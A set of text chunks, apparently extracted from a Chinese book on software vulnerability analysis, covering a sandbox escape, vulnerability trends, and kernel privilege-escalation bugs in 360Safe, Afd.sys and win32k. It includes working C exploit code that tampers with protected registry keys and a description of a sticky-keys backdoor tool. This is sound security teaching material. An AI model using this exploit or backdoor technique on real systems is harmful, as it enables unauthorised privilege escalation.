对源文件设置 OpLock，并设置解锁的回调函数 UnlockFile，随后调用 MoveFileEx 对应的 Call Hook 函数，以保证后面的文件链接行为是在两者的操作时间之间，如图 11-28 所示。"},
    {"text": "关于 Call Hook 的查找，可以先从公开的 API 函数，比如 InternetGetCookieA 或者 DeviceCapabilitiesW 等 函数开始，从它们的交叉引用表逐步索引找到，具体可参考 CanSecWest 2013 黑客大会上的议 题 Adobe Sandbox When The Broker Is Broken ，里面描述得很具体，这里不再赘述。"},
    {"text": "图11-28 设置解锁的回调函数，并调用MoveFileEx对应的Call Hook函数 （3）UnlockFile 主要是调用 CreateJunctionPoint 函数，将移动的目标文件链接到桌面，它是发送 IOCTL FSCTL_SET_REPARSE_POINT 创建文件的重定向，如图 11-29 和图 11-30 所示。"},
    {"text": "图11-29 CreateJunctionPoint函数 578 漏洞战争：软件漏洞分析精要 图11-30 SetReparsePoint函数 通过DLL注入到Adobe沙盒进程，执行后的效果如图11-31所示，成功在桌面写入abc文件。"},
    {"text": "本章是 对前面章节的补充，增添一些未提及的漏洞类型，补充了IE、Adobe沙盒逃逸漏洞，还有Java漏洞、 类型混淆、竞争条件利用等类型的漏洞，但软件漏洞类型细分下去其实有很多，很难一一列举漏洞 实例覆盖。 虽然笔者已经尽力写全，但难免还是有所遗漏，比如一些逻辑漏洞、IE“上帝模式”漏 洞、反序列化漏洞及一些对杀毒软件或防火墙的主动防御绕过、欺骗攻击等类型的漏洞，以后有机 会再写文章介绍。"},
    {"text": "第12章 软件漏洞发展趋势 579 第 12 章 软件漏洞发展趋势 12.1 软件漏洞领域的新挑战 近几年，在电脑上的软件漏洞分析与利用技术已经发展得相当成熟，很多技术也被黑产所利用， 但也正因为如此，它极大地推进软件漏洞领域的发展，比如微软在IE上新增了许多安全机制（延迟 释放、隔离堆、控制流防护等），大大地提升了IE浏览器的安全性。"},
    {"text": "外部曝光的各大APT攻击事件 也将持续存在，用的不一定是0day，也可能是一些旧漏洞的综合利用，加上社工及其他高级渗透技 术进行长期潜伏以收集目标信息。"},
    {"text": "笔者个人认为APT并不是一项新技术或新概念，它只是对过去一些长期潜伏渗透的综合行为所 作的概念总结。 也就是说，在APT一词出现前，这类APT攻击行为就一直存在，只是刚好有人取此 名词，后来被炒火了。"},
    {"text": "特别是国外著名安全厂商FireEye的出现，更大程度地推动了APT概念的发展， 因为FireEye每次都能及时地爆光外部正在利用的0day，以及各种APT攻击事件，甚至是各国之间的 间谍行动。"},
    {"text": "也正因为如此，后面很长一段时间，流行给各种漏洞或APT攻击事件取个特殊的名称， 比如“心脏出血”、 “红色十月行动”、 “雪人行动”……（在站点https://github.com/ kbandla/APTnotes， 读者可以看到从2006年至今的各类APT攻击事件资料）。"},
    {"text": "当然，在此期间也有不少厂商为炒作漏洞，将危害一般或者低危的漏洞炒作成很严重的漏洞， 以混淆视听，笔者就曾多次在安全应急事件中遇到此类情况。"},
    {"text": "前面章节主要介绍PC端上的软件漏洞，接下来，我们看下未来的软件漏洞可能面临哪些新挑战。 笔者认为未来的软件漏洞领域主要存在以下新挑战，本章将一一介绍。"},
    {"text": "● 移动终端漏洞 ● 云计算平台漏洞 ● 物联网漏洞 12.2 移动终端漏洞发展趋势 移动互联网时代早已到来，以智能手机为主的移动终端也逐渐被黑客所关注，针对移动终端的 漏洞战争：软件漏洞分析精要 580 漏洞战争：软件漏洞分析精要 漏洞和病毒正在呈倍增长，发展迅猛。"},
    {"text": "面对日趋增长的安全威胁，最受影响的主要移动终端系统是 Android与iOS，这也是当前用户量最多的两大移动操作系统。 移动终端系统的风险除本身系统的安 全性外，安装在系统上的其他应用也是引发风险的关键点。"},
    {"text": "笔者根据CVE漏洞库（http://web.nvd.nist.gov/view/vuln/statistics）中Android与iOS系统漏洞数量 的情况，绘制出Android系统漏洞和iOS系统漏洞的统计图，分别如图12-1和图12-2所示，这里不包括 第三方应用的漏洞统计。 从统计图看，Android系统漏洞呈“山”字形发展，在2012年达到顶峰，这 3年有下降趋势，一方面跟Android系统所加入的一些新安全机制有关，另一方面跟它的开放性有关， 这为许多安全研究者提供了更多的利用资源，虽然如此，但Android系统所带来的安全风险将持续存 在。 实际上，Android系统漏洞应该不止这些，因为Linux内核漏洞也会影响到Android，部分漏洞可 能未在统计数据范围内。 再回头看下iOS系统漏洞情况，其漏洞数量基本保持持续上升的趋势，2015 年已经达到历史最高。 由于iOS的封闭性，导致iOS安全研究者相对较少，这几年关于它的安全书籍 和文章逐渐增加，使得更多安全人员加入iOS安全研究的行列，其被挖掘出来的漏洞也跟着有上升的 趋势。 图12-1 CVE漏洞库中关于Android系统漏洞的统计图（注：Linux内核漏洞未在统计范围内，但它也会 影响Android系统的安全性，因此实际的Android漏洞数量会更多） 对于Android平台，特别是容易影响第三方应用的通用型漏洞，更容易被黑产所关注和利用，比 如WebView漏洞、图片解析库等，未来也会有更多的病毒使用系统漏洞以扩大其危害和传播量。"},
    {"text": "由 于手机便携，很多个人隐私信息会直接保存在上面，而且随着移动支付的兴起，通过攻陷手机往往 可以拿到很多有价值的信息，比如个人隐私、金融交易密码等，然后再拿来变售个人资料，对窃取 的金融账号进行洗钱。"},
    {"text": "另外，一些安全厂商可能也会购买Root提权漏洞，以应用到他们自主开发的 Android Root工具中，帮助用户扩展手机使用权限，以使用很多原本无法使用的软件。"},
    {"text": "第12章 软件漏洞发展趋势 581 图12-2 CVE漏洞库中关于iOS系统漏洞的统计图 对于iOS平台，越狱一直是个热门的话题，在越狱中使用的漏洞也是非常有价值的，一个越狱漏 洞可能卖到50多万美元。"},
    {"text": "因此，一个越狱漏洞是完全值那个价位的，将来随着越狱难度的增加，黑市的价格 也肯定会跟着上升，但实际上要实现完美越狱都需要多个漏洞组合。"},
    {"text": "由于智能手机平台上的应用经常也会嵌入WebView组件以支持网页浏览，所以手机应用也会涉 及Web攻防，这就要求移动终端漏洞分析人员的知识面更全面，最好具备二进制与Web攻防的能力， 才能更全面地分析和评估移动终端应用。"},
    {"text": "12.3 云计算平台漏洞发展趋势 云计算平台可以为用户提供“云”上的服务，这里的“云”可以理解为网络或互联网，用户可 以在云上运行自己的程序，同时享受云所提供的服务和资源，不必使用自己的电脑来运行开发的程 序，节约软硬件成本。"},
    {"text": "国内的云平台主要有阿里云、腾讯云、新浪SAE、百度云、盛大云等，国外 的有Google GAE、亚马逊AWS、微软Azure等。 根据服务对象的不同，可以简单地将云计算平台分为私有云、公有云和混合云，公有云是为外 部用户提供云服务的平台，私有云一般是企业内部专用的云平台，而混合云包含公有云和私有云。 从云计算平台构建结构来分，可以分为如图12-3所示的结构（源自：百度百科）。"},
    {"text": "● SaaS（软件即服务）：为消费者提供应用软件。 ● PaaS（平台即服务）：为消费者提供系统平台，比如Windows、Linux等操作系统，以及相应的 管理支撑软件、开发工具、安全系统等。"},
    {"text": "图12-3 云计算平台架构 如果黑客要攻击云平台，那么其最终的目的一般都是为了拿到底层数据中心里的存储数据，因 此云安全的本质其实就是数据安全。"},
    {"text": "● SaaS层：传统的Web漏洞、软件漏洞都可能会出现，而此层的漏洞风险更大，也是外部最容易 触及到的，从目前多数云平台的入侵情况看，Web漏洞导致的直接危害会更多。 ● PaaS层：Web服务器漏洞，主机安全问题，比如系统提权漏洞。 ● IaaS层：网络攻击、虚拟机漏洞、数据存储缺陷等。 综合来看，笔者认为当前及未来的主要云安全问题会集中在虚拟机漏洞、Web漏洞、数据安全 等方向上，主要有以下原因。 （1） 云平台上一般是多个用户共用一台服务器，如果利用虚拟机漏洞逃逸出去，进而控制主系统， 那么攻击者就可能窃取他人的数据并执行其他恶意的越权操作。 （2） Web 漏洞相对其他类型的漏洞门槛会低一些，也是外部最容易接触到的层面，此处若发生安全 问题可能直接导致服务器被入侵，危害严重。 （3） 数据加密往往是最后一道防线，即使服务器被入侵，若采用较为坚固的数据加密方案，可以大 大地提高免受破解的功能，而若对敏感数据未做加密或采用不安全的加密方式，则破解出数据 只是时间问题。 正因为这些安全问题，所以现在许多云平台自身或者第三方安全厂商会提供一些云安全产品， 比如云WAF（如腾讯的“门神”）、云漏洞扫描器（如腾讯云提供的云安全漏洞扫描服务）、主机 入侵防御系统（如腾讯的“洋葱”）、数据加密系统（如腾讯的“铁将军”）、DDOS防御系统（如 第12章 软件漏洞发展趋势 583 腾讯的“宙斯盾”）等。 在此也可以预见未来会有更多的云安全问题出现，相应的云安全产品也是 逐渐增多。"},
    {"text": "12.4 物联网漏洞发展趋势 物联网（Internet of things，简称IoT），通俗来讲，就是将物体接入互联网所组成的网络，使得 物与物，人与物能够进行交互，以便进行智能化管理，比如窗帘，传统上它只是个静态物体，但如 果将其接入网络，人们可以直接通过移动终端（手机、平板电脑等）进行控制，实现远程拉窗帘的 动作。"},
    {"text": "现在物联网才刚刚起步，很多产品做得可 能还不够实用，也可能有些只是炒作概念而诞生的产品，但物联网是未来发展的趋势，相信未来会 更好。 由于物联网的介入，使得传统互联网能够从虚拟世界影响到物理世界，那么如果物联网产品存 在安全问题，那就有可能直接影响到个人财产安全，甚至人身安全。"},
    {"text": "如果读者有关注过外部报道的 关于心脏起搏器、胰岛素泵（注射胰岛素的设备，当注入过量时可导致患者昏迷）被黑客入侵的事， 相信就很容易理解。"},
    {"text": "男主角为了进入警察局的档案室偷取资料，通过黑客技术黑入警察局的监控系统，将监控视频 替换为无人状态，以隐藏潜入者的行踪，防止被警察发现。"},
    {"text": "图12-4 《窃听风云》电影片段：通过篡改监控视频隐藏行踪 腾讯安全应急响应中心（TSRC）的monster同学就曾对百度出品的一款智能摄像头进行研究，发 现其存在严重漏洞，利用漏洞能够篡改监控视频（如图12-5所示），重现类似《窃听风云》里的电 影场景。"},
    {"text": "584 漏洞战争：软件漏洞分析精要 经过一段时间的研究，我们发现一些当前流 行的智能设备都存在安全漏洞，包括智能门锁、 智能插座、智能摄像头、移动POS机……很多跟 用户财产安全挂钩较紧的智能设备都普遍存在 安全问题，总结起来可能有以下几方面原因。"},
    {"text": "每一个智能设备漏洞所能造成的危害，主要 依赖于它所支持的功能及应用场景。 再列举几个 此前TSRC的同学研究发现的智能设备漏洞，比 图12-5 利用智能摄像头漏洞篡改监控视频 如智能门锁被破解后（如图12-6所示），就可能 被入室盗窃，直接危害个人财产安全。 图12-6 TSRC的同学为记者演示如何破解智能门锁 比如某移动POS机存在被劫持盗刷的漏洞，只要用存在漏洞的POS机刷过漏洞，攻击者可在无用 户密码、无用户银行卡的情况下，直接窃取用户银行卡上的钱，如图12-7所示。"},
    {"text": "刚刚兴起的车联网也是被曝光存在许多安全问题，比如在2014年GeekPwn智能硬件破解大赛上， Keen团队就现场演示破解特斯拉的场景（如图12-8所示），通过手机实现远程控制特斯，只需手触 屏幕上汽车的几个关键位置，就可以实现打开车门、后备箱、让正向行驶的汽车突然倒车，甚至熄 火失控。"},
    {"text": "第12章 软件漏洞发展趋势 585 图12-7 利用移动POS机漏洞盗刷银行卡 图12-8 GeekPwn大会上破解特斯拉的现场 在2015年GeekPwn的开场项目中，腾讯安全平台部的gmxp同学利用一系列漏洞成功演示劫持一 架正在飞行的大疆精灵3代无人机，夺取了这台无人机的控制权，成功完成无人机的劫持。"},
    {"text": "图12-9 中央电视台3·15晚会报道的无人机劫持 586 漏洞战争：软件漏洞分析精要 以上几个实例只是冰山一角，但它涵盖了人们日常的住、行、金融消费等活动。"},
    {"text": "随着智能设备 的普及和功能的多向化，人们的衣、食、住、行已经逐渐被覆盖，比如已经出现的智能内衣（衣）、 智能筷子（食）等，甚至一些涉及人体健康的生物医学智能设备也逐渐出现，特别是像心脏起搏器、 胰岛素泵等医疗设备，倘若出现安全漏洞，可能直接危害生命。"},
    {"text": "12.5 本章总结 本章主要就未来软件漏洞发展趋势进行探讨，可能面临移动终端、云计算平台、物联网等三大 新领域的挑战，并列举出一些可能存在的风险点，以及一些目前已曝光的安全漏洞。"},
    {"text": "相信未来还会 有更大的安全漏洞被曝光，而一些新兴领域的安全问题，可能直接危害到用户的金融支付安全，甚 至人身安全，相对传统安全问题，其导致的危害被扩大化。"},
    {"text": "因此，提供对这些新兴领域进行预先性 研究是很有必要的，只有掌握相应的原理、分析方法、潜在攻击面，在问题爆发后才能够自如应对， 避免被打得措手不及。"},
    {"text": "index typedef LONG (WINAPI *BREG_Delete_KEY)(HKEY hKey, LPCSTR lpSubKey); typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult); typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey); typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData); BREG_Delete_KEY BRegDeleteKey = NULL; BREG_OPEN_KEY BRegOpenKey = NULL; BREG_CLOSE_KEY BRegCloseKey = NULL; REG_SET_VALUE_EX BRegSetValueEx = NULL; #define AppPath \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\360safe.exe\" #define TestDeleteKey HKEY_LOCAL_MACHINE #define TestDeleteRegPath \"Software\\\\360Safe\\\\Update\" // 以内核权限删除 360Safe 下 的注册表项，而普通权限是无法操作的 #define TestSetKey HKEY_LOCAL_MACHINE #define TestSetPath \"Software\\\\360Safe\" // 以内核权限设置 360Safe 注册表项下的 键值，而普通权限是无法操作的 // 获取 bregdll.dll 中用于操作注册表的 API 函数 BOOL InitBRegDll() { LONG lResult; HKEY hKey; DWORD dwType; HMODULE modBReg; INIT_REG_ENGINE InitRegEngine; CHAR cPath[MAX_PATH + 32] = { 0 }; DWORD dwPathLen = MAX_PATH; lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey); if (FAILED(lResult)) return FALSE; dwType = REG_SZ; lResult = RegQueryValueExA(hKey, \"Path\", NULL, &dwType, (LPBYTE)cPath, &dwPathLen); RegCloseKey(hKey); if (FAILED(lResult)) 416 漏洞战争：软件漏洞分析精要 return FALSE; strcat(cPath, \"\\\\deepscan\\\\BREGDLL.dll\"); modBReg = LoadLibraryA(cPath); if (!modBReg) return FALSE; InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, \"InitRegEngine\"); BRegDeleteKey = (BREG_Delete_KEY)GetProcAddress(modBReg, \"BRegDeleteKey\"); BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, \"BRegOpenKey\"); BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, \"BRegCloseKey\"); BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, \"BRegSetValueEx\"); if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) { FreeLibrary(modBReg); return FALSE; } if (!InitRegEngine()) { FreeLibrary(modBReg); return FALSE; } return TRUE; } LONG TestSetRegKey() { HKEY hKey; LONG lResult; DWORD dwType; static char szData[15] = \"TEST VALUE\"; lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey); if (FAILED(lResult)) return lResult; dwType = REG_SZ; lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData)); 第9章 内核漏洞分析 417 BRegCloseKey(hKey); return lResult; } int main(int argc, char *argv[]) { if (!InitBRegDll()) { MessageBoxA(NULL, \"初始化 BReg 失败!\", \"失败\", MB_ICONSTOP); return 1; } if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) { MessageBoxA(NULL, \"键值删除失败!\", \"失败\", MB_ICONSTOP); return 2; } if (FAILED(TestSetRegKey())) { MessageBoxA(NULL, \"设置键值失败!\", \"失败\", MB_ICONSTOP); return 3; } MessageBoxA(NULL, \"突破系统安全检查，获得最高权限，漏洞利用成功!\", \"成功\", MB_OK); return 0; } 利 用 程 序 从 bregdll.dll 中 获 取 操 作 注 册 表 的 导 出 函 数 InitRegEngine 、 BRegDeleteKey 、 BRegOpenKey 、 BRegCloseKey 和 BRegSetValueEx ， 然 后 利 用 这 些 导 出 函 数 删 除 HKEY_LOCAL_ MACHINE\\Software\\360Safe\\Update注册表 项，同时在HKEY_LOCAL_MACHINE\\Software\\360Safe 注册表项下，添加键名为Software\\360Safe，键值为“TEST VALUE”的字符串值。"},
    {"text": "图9-9 无法删除360Safe下的注册表项 418 漏洞战争：软件漏洞分析精要 图9-10 无法在360Safe注册表项下创建值 我 们 将 测 试 代 码 编 译 生 成 exploit.exe 后 ， 运 行 效 果 如 图 9-11 所 示 ， 成 功 在 HKEY_LOCAL_ MACHINE\\Software\\360Safe下删除和添加键值。"},
    {"text": "图9-11 利用代码测试成功 先看下bregdll.dll中关键的导出函数BRegSetValueEx，用IDA加载bregdll.dll，在“Export”标签 栏中找到BRegSetValueEx函数并双击进去，直接看F5代码，发现函数的返回结果是由sub_10002EF0 返回（如图9-12所示），因此可以初步断定该函数就是设置键值的关键函数。 图9-12 BRegSetValueEx函数 双击跟进sub_10002C80，如图9-13所示，里面只有一个关键函数sub_10003D20。"},
    {"text": "第9章 内核漏洞分析 419 图9-13 sub_10002C80函数 函数sub_10003D20代码如图9-14所示，关键的处理函数是dword_1000EE88。 图9-14 sub_10003D20函数 利用IDA提供的交叉参考功能，可以发现dword_1000EE88其实是调用NtDeviceIoControlFile函数 （如图9-15所示），也就是说图9-16所示的sub_10003D20函数实现IO控制码0x7BE204C的分发处理。 图9-15 dword_1000EE88调用NtDeviceIoControlFile函数 420 漏洞战争：软件漏洞分析精要 它们是由bregdrv.sys驱动负责处理的，因此用IDA加载bregdrv.sys，从DriverEntry入口开始追踪IO 控制码分发处理函数，如图9-16所示，逐步追踪下去，直到处理IO控制码0x7BE204C的调用函数。 图9-16 追踪IO控制码0x7BE204C的处理函数 第9章 内核漏洞分析 421 启动WinDbg内核调试，在sub_11A6A函数上下断点，它相对模块基址的偏移量为0x11a6a - 0x10000 = 0x1a6a。 在WinDbg上查看bregdrv.sys驱动的加载地址： kd> lmm bregdrv start end module name f791f000 f7923100 bregdrv (no symbols) 因此，sub_116f2函数对应的内存地址为0xf791f000 + 0x1a6a = 0xF7920A6A，用WinDbg对其下 断点，输入g命令执行。 kd> u F7920A6A bregdrv+0x1a6a: f7920a6a 6a3c push 3Ch f7920a6c 68701f92f7 push offset bregdrv+0x2f70 (f7921f70) f7920a71 e892120000 call bregdrv+0x2d08 (f7921d08) f7920a76 33ff xor edi,edi f7920a78 897de4 mov dword ptr [ebp-1Ch],edi f7920a7b 803d582192f700 cmp byte ptr [bregdrv+0x3158 (f7922158)],0 f7920a82 750a jne bregdrv+0x1a8e (f7920a8e) f7920a84 b8010000c0 mov eax,0C0000001h kd> bp F7920A6A kd> g 在 虚 拟 机 中 执 行 exploit.exe ， 以 触 发 断 点 ， 然 后 单 步 执 行 下 去 ， 可 以 看 到 最 后 调 用 的 是 CmSetValueKey函数，一个微软未公开的底层函数，用于设置注册表键值： kd> g Breakpoint 0 hit bregdrv+0x1a6a: f7920a6a 6a3c push 3Ch 单步调试下去，最后会调用到 CmSetValueKey 函数 f7920bf6 ff7518 push dword ptr [ebp+18h] f7920bf9 ff7514 push dword ptr [ebp+14h] f7920bfc ff7510 push dword ptr [ebp+10h] f7920bff 8d4dc4 lea ecx,[ebp-3Ch] f7920c02 51 push ecx f7920c03 50 push eax f7920c04 ff158c2192f7 call dword ptr [bregdrv+0x318c (f792218c)] ds:0023:f792218c={nt!CmSetValueKey (8062a5c2)} 其他bregdll.dll的导出函数也是相同原理，比如BregDeleteKeyW最终就是调用CmDeleteKey函数 来实现，它们均通过发送IO控制码给bregdrv.sys驱动，由该驱动调用一系列CmXxx未文档化的底层 422 漏洞战争：软件漏洞分析精要 函数，相当于360自己实现操作注册表的一套NtXxx函数，以调用更为底层的CmXXX函数，但由于 未对调用者进行严格地验证，导致可被任意其他程序调用，实现内核级权限的注册表篡改，这正是 导致漏洞的根本原因。"},
    {"text": "上述漏洞被曝光后，相关的利用工具也出现在网络上，被用于对一些“肉鸡”提权，该工具会 创建出3389端口的连接后门，按5次Shift键可得到CMD权限。 下面就是对该利用工具的分析，如图9-17 所示，它主要利用360漏洞修改注册表，实现对sethc.exe的映像劫持，使得按5次shift键后自动打开CMD 应用，从而拿到高权限的后门。 图9-17 修改注册表开启Shift后门 利用工具执行后的效果如图9-18所示，通过连接3389后成功拿到system权限的cmd.exe。"},
    {"text": "9.5 CVE-2011-2005 Windows Afd.sys 本地提权漏洞 9.5.1 漏洞描述 2011年10月，微软补丁公告中提到，Windows系统中的辅助功能驱动程序Afd.sys存在本地提权 漏洞，影响Windows XP 与Windows Server 2003系统。 该漏洞主要是Microsoft Windows Ancillary Function Driver（afd.sys）驱动程序未对用户提交的数据进行完善地检测，导致存在本地提权漏洞， 攻击者利用该漏洞可执行任意代码。"},
    {"text": "表9-2 测试环境 推荐使用的环境 备注 操作系统 Windows 7 简体中文旗舰版 反汇编器 IDA Pro 版本号：6.5 在exploit-db网站上有人公布了一份Python版本的利用代码，链接见：http://www.exploit-db.com/ exploits/18176/，从代码中很容易找到触发漏洞的关键之处，如图9-19所示，利用代码通过构造特定 的输入数据，向IOCTL为0x000120bb发送IO请求触发漏洞，而它正是由Afd.sys中的AFDJoinLeaf函数 来处理的。 图9-19 构造恶意IO请求触发漏洞 424 漏洞战争：软件漏洞分析精要 用IDA加载Afd.sys驱动，在“Functions window”窗口中找到AFDJoinLeaf函数，双击打开对应 的反汇编代码。"},
    {"text": "在函数中找到它对用户输入数据的处理情况，可以发现程序只在当OutBufferLength 不为0的情况下才检测UserBuffer地址的有效性，如图9-20所示，因此攻击者只需令OutBufferLength = 0即可绕过检测，这也正是图9-19中第217行代码将outputbuffer_size设置为0的原因。"},
    {"text": "1. 输入缓冲区长度必须大于0x18 InputBufferLength = *(_DWORD *)(a2 + 8); if ( InputBufferLength < 0x18 || (v4 = *(_DWORD *)(a2 + 4)) != 0 && v4 < 8 )//输入缓冲 区长度必须大于 0x18，否则跳走 { v38 = 0xC000000Du; v11 = Irp; goto LABEL_72; } 2. *(InputBuffer + 8) 必须不为0 v2 = a2; v7 = *(_DWORD *)(v2 + 0x10); Handle = *(HANDLE *)(v7 + 8); // *(InputBuffer + 8) 不为 0，以供后面引用 v14 = ObReferenceObjectByHandle( Handle, // Handle =*( InputBuffer +8) ，此处不能为 0 ，否则触发异常 (unsigned __int8)(*(_WORD *)(v2 + 12) >> 8) >> 6, (POBJECT_TYPE)IoFileObjectType, 第9章 内核漏洞分析 425 AccessMode[0], &Object, 0); 3. *(InputBuffer + 0xC) 必须为1，同时InputBufferLength-0xC 必须大于 *(InputBuffer+0x10)+8 v8 = (const void *)(v7 + 0xC); // *(InputBuffer + 0xC) 必须为 1 v34 = *(_DWORD *)(v2 + 8) - 0xC; // v34 =InputBufferLength -0xC ms_exc.registration.TryLevel = 1; v9 = ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v34 + 0x30, 0xC9646641u); P = v9; Irp->AssociatedIrp.MasterIrp = v9; memset(v9, 0, 0x30u); memcpy((char *)v9 + 48, v8, v34); // 将 *(InputBuffer + 0xC) 的值复制到 v9+48 上的位置 if ( *((_DWORD *)v9 + 48) != 1 || (signed int)v34 < *((_WORD *)P + 52) + 8 ) // 此 处要求 *(v9+48) = *(InputBuffer+0xC) 必须等于 1 ，此处 P +52 = v9+52 =v9 +48 +4 = InputBuffer + 0xC + 4 = InputBuffer + 0x10 ，所以 InputBufferLength-0xC 必须大于 *(InputBuffer + 0x10)+8 ， 否则触发异常 // 注意：此处用 IDA F5 功能会反编译错误，显示的偏移数值是不正确的，笔者是在 IDA 6.5 上分析的 ExRaiseStatus(0xC000000Du); 4. 连接到本地未开放的端口，比如exploit-db上的利用代码是将其连接到4455未开放端口，使其 连接状态保持为CONNECTING pFileObject = *(PVOID *)(v2 + 0x18); // v2 + 0x18 指向 FILE_OBJECT 结构 _FxContext = *((_DWORD *)pFileObject + 3); // 指向 FxContext，用于描述套接字的连接状态， 比如 0xAFD0 代表 CONNECTING ……省略部分内容…… if ( *(_BYTE *)(_FxContext + 2) == 2 ) // 套接字状态必须为 CONNECTING （ 0x2 ） { v38 = AfdCreateConnection( *(_DWORD *)(_FxContext + 140) + 16, *(_DWORD *)(_FxContext + 136), (*(_DWORD *)(_FxContext + 4) >> 9) & 1, (*(_DWORD *)(_FxContext + 12) >> 8) & 1, *(PVOID *)(_FxContext + 24), (int)&v37); if ( v38 >= 0 ) goto LABEL_50; } 426 漏洞战争：软件漏洞分析精要 满足以上几个关键点去构造利用代码，应该是不难的，具体可参考exploit-db上的代码，此处不 再赘述。"},
    {"text": "9.5.3 补丁比较 通过补丁比较分析AFDJoinLeaf函数，可以发现补丁后的afs.sys不再检测OutBufferLength是否为 0，而是直接检测UserBuffer所指向的地址的有效性，如图9-21所示，左边是修复后的代码，右边是 修复前的。"},
    {"text": "图9-21 补丁对比 9.6 CVE-2013-3660 Windows win32k.sys EPATHOB指针 未初始化漏洞 9.6.1 漏洞描述 2013年3月，来自Google安全团队的研究人员Tavis Ormandy在对win32k.sys进行内存压力测试时 发生蓝屏，经过分析发现是win32k.sys模块的一处本地提权漏洞，利用该漏洞可获取System最高权限。"},
    {"text": "他 本 人 也 因 此 获 得 有 “ 黑 客 奥 斯 卡 ” 之 称 的 Pwnie Awards 2013 提 名 （ 链 接 见 ： http://pwnies.com/archive/2013/nominations/），虽然最终evad3rs越狱团队获得2013年度最佳提权漏洞， 但并不影响该漏洞所体现出来的影响价值。"},
    {"text": "表9-3 测试环境 推荐使用的环境 备注 物理操作系统 Windows 7 简体中文旗舰版 虚拟机系统 Windows 7 家庭普通版 虚拟机软件 VMware Workstation 版本号：10.0.2 build-1744117 编译器 Visual Studio 2010 Ultimate 版本号：10.0.30319.1 调试器 WinDbg 版本号：6.11.0001.404 反汇编器 IDA Pro 版本号：6.5 开启WinDbg内核调试，用虚拟机Windows 7打开poc.exe，运行后系统崩溃，被WinDbg断下： kd> g Access violation - code c0000005 (!!! second chance !!!) win32k!EPATHOBJ::bFlatten+0x15: 921b8406 f6400810 test byte ptr [eax+8],10h kd> kb ChildEBP RetAddr Args to Child 92e17ce4 922c7701 00000001 00000157 fdac71d8 win32k!EPATHOBJ::bFlatten+0x15 92e17d28 83c8b42a 1a0128aa 0012f96c 77b464f4 win32k!NtGdiFlattenPath+0x50 92e17d28 77b464f4 1a0128aa 0012f96c 77b464f4 nt!KiFastCallEntry+0x12a WARNING: Stack unwind information not available. Following frames may be wrong. 0012f958 76a568ed 76a46501 1a0128aa 00000000 0x77b464f4 0012f95c 76a46501 1a0128aa 00000000 0012fac0 gdi32!NtGdiFlattenPath+0xc 0012f96c 00281745 1a0128aa 00000000 1a0128aa gdi32!FlattenPath+0x44 0012fb08 761e1174 7ffdf000 0012fb54 77b5b3f5 0x281745 0012fb0c 7ffdf000 0012fb54 77b5b3f5 7ffdf000 kernel32!BaseThreadInitThunk+0xe 0012fb14 77b5b3f5 7ffdf000 77eaa279 00000000 0x7ffdf000 0012fb54 77b5b3c8 00282104 7ffdf000 00000000 0x77b5b3f5 0012fb6c 00000000 00282104 7ffdf000 00000000 0x77b5b3c8 从栈回溯可以看到这里调用的关键函数win32k!EPATHOBJ::bFlatten，直接用IDA加载存在漏 洞的win32k.sys进行分析，从F5反编译的代码可以看到其调用了EPATHOBJ::pprFlattenRec函数，如 图9-22所示，其实它就是导致本次漏洞的关键函数，具体参见后面的分析。"},
    {"text": "428 漏洞战争：软件漏洞分析精要 图9-22 EPATHOBJ::bFlatten函数 先从漏洞函数EPATHOBJ::pprFlattenRec入手，逐层分析下去，如图9-23所示，漏洞函数会依次 调用EPATHOBJ::newpathrec→newpathalloc，在newpathalloc函数中，它会优先从freelist空闲链表找到 可用的内存节点，以用于分配PATHRECORD结构，但它在使用前并没有对从freelist获取的内存块进 行初始化，导致后面在使用时可能引用到一些污染数据。"},
    {"text": "我 们 重 新 看 下 漏 洞 函 数 EPATHOBJ::pprFlattenRec在调用EPATHOBJ::newpathrec分配完内存后的执行情况，如图9-24所示， v29变量其实是一个PATHRECORD结构指针，后面有几处代码通过v29偏移来索引PATHRECORD结 构中的字段值，默认情况下，IDA未能直接识别出相应的字段名称。 为了方便分析，此处将v29重命名为new_pathrecord（在IDA中选择v29，再按“n”快捷键即可重 命名），把v3重命名为freelist_node。"},
    {"text": "单击“OK”按钮添加完成后，重新对漏洞函数EPATHOBJ::pprFlattenRec进行F5反编译，得到如 图9-26所示的代码，对比图9-24所示的代码可以发现，经过自定义结构体后，其符号的识别及可理解 程度更高了。 第9章 内核漏洞分析 429 图9-23 漏洞代码分析 430 漏洞战争：软件漏洞分析精要 图9-24 v29为PATHRECORD结构指针 图9-25 添加自定义结构体_PATHRECORD 图9-26 识别出PATHRECORD结构体名字段 第9章 内核漏洞分析 431 正如上面看到的，漏洞函数EPATHOBJ::pprFlattenRec最终会引用未初始化的内存，该内存指针 是从freelist节点中获取的，节点地址无法控制，但其内容是可以被用户控制的，这就相当于实现写 任意内核地址的功能。"},
    {"text": "（1） 检测系统版本，根据不同版本设置不同的跳转指令 dwMagic，对于 Windows 7 系统设置的是 jmp [esp+0x64]指令，用于后面跳转进 Shellcode，如图 9-27 所示。"},
